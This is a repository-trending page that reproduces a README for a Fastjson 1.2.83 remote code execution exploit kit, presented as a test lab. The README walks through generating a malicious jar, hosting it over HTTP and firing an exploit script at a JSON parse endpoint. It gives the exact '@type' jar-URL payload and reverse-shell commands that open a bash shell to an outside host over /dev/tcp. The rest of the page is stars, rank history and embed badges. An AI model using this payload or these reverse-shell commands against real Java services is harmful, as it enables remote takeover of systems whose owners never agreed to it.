◉ Pulse
0x7eTeam avatar
#63 today ▲ 11

0x7eTeam/fastjson-1.2.83-rce

Java Other

Fastjson 1.2.68 ~ 1.2.83 RCE

Created Jul 20, 2026
Stars
24
Today
+3
Forks
23
Quality
70/100
Momentum
20

README

Fetched from GitHub on Nov 16, 2026, 4:22 PM UTC · README.md

View original on GitHub

Third-party content — Open Source Pulse is not the owner of this repository.

This README belongs to 0x7eTeam/fastjson-1.2.83-rce and its contributors. We fetch it directly from the project’s public GitHub repository and display it for reference only. All text, code, images and trademarks remain the property of their respective authors. See the repository for its license terms. Copyright / takedown policy.

Fastjson 1.2.83 RCE 漏洞测试环境

漏洞概述

Fastjson 1.2.66 ~ 1.2.83 checkAutoType 中 @JSONType 注解探测路径存在远程类加载漏洞。无需 autoTypeSupport,无需第三方依赖,safeMode 未启用(默认)即可 RCE。

条件:Spring Boot FatJar + JDK 8 + 目标能出网

使用

Step 1: 启动靶场

java -jar fastjson-rce-env-1.0.0.jar

访问 http://127.0.0.1:18080/ 确认启动成功

Step 2: 生成 probe.jar

# 编译
javac -cp "poc/lib/*" -d poc poc/GenProbe.java

# 生成(参数: IP 端口 命令)
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "open -a Calculator"

Windows 弹计算器改最后参数为 "calc",反弹 shell 改为 "bash -i >& /dev/tcp/VPS/4444 0>&1"

Step 3: 启动 HTTP 托管

cd poc/www && python3 -m http.server 19090

Step 4: 弹计算器

python3 poc/exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe

exploit success

注意

  • 每次测试必须重启靶场(Step 1),JVM 会缓存类加载结果
  • 操作顺序:Step 1 → Step 2 → Step 3 → Step 4(HTTP 托管要在打 exp 之前启动)
  • 如果 exp.py 超时但 HTTP 托管端看到 GET /probe 请求,说明 RCE 已触发

自定义命令

重新生成 probe.jar:

javac -cp "poc/lib/*" -d poc poc/GenProbe.java
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe <IP> <端口> <命令>
# macOS
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "open -a Calculator"

# Windows
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 192.168.1.100 19090 "calc"

# 反弹 shell
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 1.2.3.4 19090 "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1"

漏洞原理

payload: {"@type":"jar:http:..2130706433:19090.probe!.POC","x":1}
                     ↓ Fastjson: typeName.replace('.', '/') + ".class"
resource: "jar:http://127.0.0.1:19090/probe!/POC.class"
                     ↓ LaunchedURLClassLoader.getResourceAsStream()
远程下载 jar → 检测到 @JSONType → loadClass → <clinit> 执行 → RCE
Rendered by GitHub from the repository’s README. Scroll to read the full file.

First trending

Jul 21, 2026

first spotted on the list

Best rank

#30

highest position reached

Appearances

3

times on the trending list

Star velocity

0.20

stars per day since creation

Activity — last 60 days

daily counts, collected every 6 hours
  • Stars
  • Forks
  • Merged PRs
  • Issues
  • Closed issues

Collecting activity data since launch — check back in a few days.

Star history

total stars per snapshot
510152025300x7eTeam/fastjson-1.2.83-rce · Jul 21, 2 AM UTC: 11 stars0x7eTeam/fastjson-1.2.83-rce · Jul 21, 8 AM UTC: 21 stars0x7eTeam/fastjson-1.2.83-rce · Jul 21, 2 PM UTC: 24 stars2 AM8 AM2 PM

Rank history

position on trending · lower is better
#1#30#35#40#45#50#55#60#65Jul 21, 2 AM UTC: rank #30Jul 21, 8 AM UTC: rank #30Jul 21, 2 PM UTC: rank #632 AM8 AM2 PM

3D card for your website

Live HTML card with a pointer tilt. Paste the iframe on any website.

<iframe src="https://www.notionpulse.cc/embed/0x7eTeam/fastjson-1.2.83-rce" width="420" height="240" style="border:0;max-width:100%;background:transparent" loading="lazy" title="0x7eTeam/fastjson-1.2.83-rce — trending on Open Source Pulse"></iframe>

Stars badge

Show current stars in your README or profile. Auto-updates every 6 hours.

0x7eTeam/fastjson-1.2.83-rce stars badge
Markdown
[![0x7eTeam/fastjson-1.2.83-rce](https://www.notionpulse.cc/api/badge/0x7eTeam/fastjson-1.2.83-rce.svg)](https://www.notionpulse.cc/repo/0x7eTeam/fastjson-1.2.83-rce)
HTML
<a href="https://www.notionpulse.cc/repo/0x7eTeam/fastjson-1.2.83-rce"><img src="https://www.notionpulse.cc/api/badge/0x7eTeam/fastjson-1.2.83-rce.svg" alt="0x7eTeam/fastjson-1.2.83-rce stars badge" /></a>

Repository of the Day

#30 Repository of the Day

Repository of the Week

#30 Repository of the Week

Repository of the Month

#30 Repository of the Month